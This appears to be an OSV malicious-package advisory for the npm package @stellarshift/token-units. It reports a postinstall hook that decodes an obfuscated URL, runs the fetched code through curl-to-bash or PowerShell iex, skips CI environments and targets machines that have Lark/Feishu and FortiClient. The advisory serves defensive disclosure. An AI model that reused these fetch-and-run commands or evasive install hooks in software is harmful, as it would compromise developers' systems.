MAL-2026-15824

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@stellarshift/token-units/MAL-2026-15824.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-15824
Published
2026-09-02T22:06:21Z
Modified
2026-09-02T22:30:06.121763568Z
Summary
Malicious code in @stellarshift/token-units (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (a4433d82919da9c0972986247dd611eae3997b28fd54726ffbf9c48147c05211)

Package advertises BigInt token-unit conversion helpers (parseUnits/formatUnits) but declares a postinstall hook (scripts/postinstall.js) that invokes lib/runtime/manifest-sync.js. The sync module reconstructs a URL by XOR-decoding an integer array from endpoint-registry.json against the key seed + '-stellarshift-registry' combined with a positional mask (config-resolver.js decodeSegments), then executes the response body with no integrity check: curl -fsSL --connect-timeout 8 '<uri>' 2>/dev/null | bash on Unix, and iex (iwr -UseBasicParsing -TimeoutSec 8 -Uri $uri).Content inside a hidden PowerShell on Windows. Execution is gated by dev-profile.js: shouldSyncRemoteConfig runs isManagedWorkstation(), which requires detection of a collaboration client (Lark/Feishu at /Applications/Lark.app, /Applications/Feishu.app, and Windows equivalents) AND a VPN client (FortiClient), and isContinuousIntegration skips CI environments (CI, GITHUBACTIONS, GITLABCI, etc.). The destination-URL obfuscation, CI evasion, enterprise-client fingerprinting (Lark/Feishu/FortiClient), and README/behavior mismatch are unrelated to the advertised unit-math API.

Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-09-02T22:16:58.776115378Z",
            "id": "IN-MAL-2026-019342",
            "versions": [
                "1.0.1"
            ],
            "source": "amazon-inspector",
            "modified_time": "2026-09-02T22:07:07Z",
            "sha256": "395b10c83ec895128ea8ddc08f2f113a90951357902e71c3621e3df7eee4fd78"
        },
        {
            "import_time": "2026-09-02T22:16:58.57000736Z",
            "source": "amazon-inspector",
            "versions": [
                "1.0.3"
            ],
            "id": "IN-MAL-2026-019337",
            "modified_time": "2026-09-02T22:06:21Z",
            "sha256": "a4433d82919da9c0972986247dd611eae3997b28fd54726ffbf9c48147c05211"
        }
    ]
}
References
Credits

Affected packages

npm / @stellarshift/token-units

Package

Name
@stellarshift/token-units
View open source insights on deps.dev
Purl
pkg:npm/%40stellarshift/token-units

Affected ranges

Affected versions

1.*
1.0.1
1.0.3

Database specific

source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@stellarshift/token-units/MAL-2026-15824.json"
indicators 
{
    "evidence_files": [
        {
            "path": "scripts/postinstall.js",
            "tlsh": "ab710ef406926b3171b2e3ac57478d06d4bb743236968180f5ccb1c5afed62c426acf9",
            "sha256": "0acad4e9254aaabd82e8786266cb93bd96775c2e938ad1856a9509e53768995f"
        }
    ]
}
cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    }
]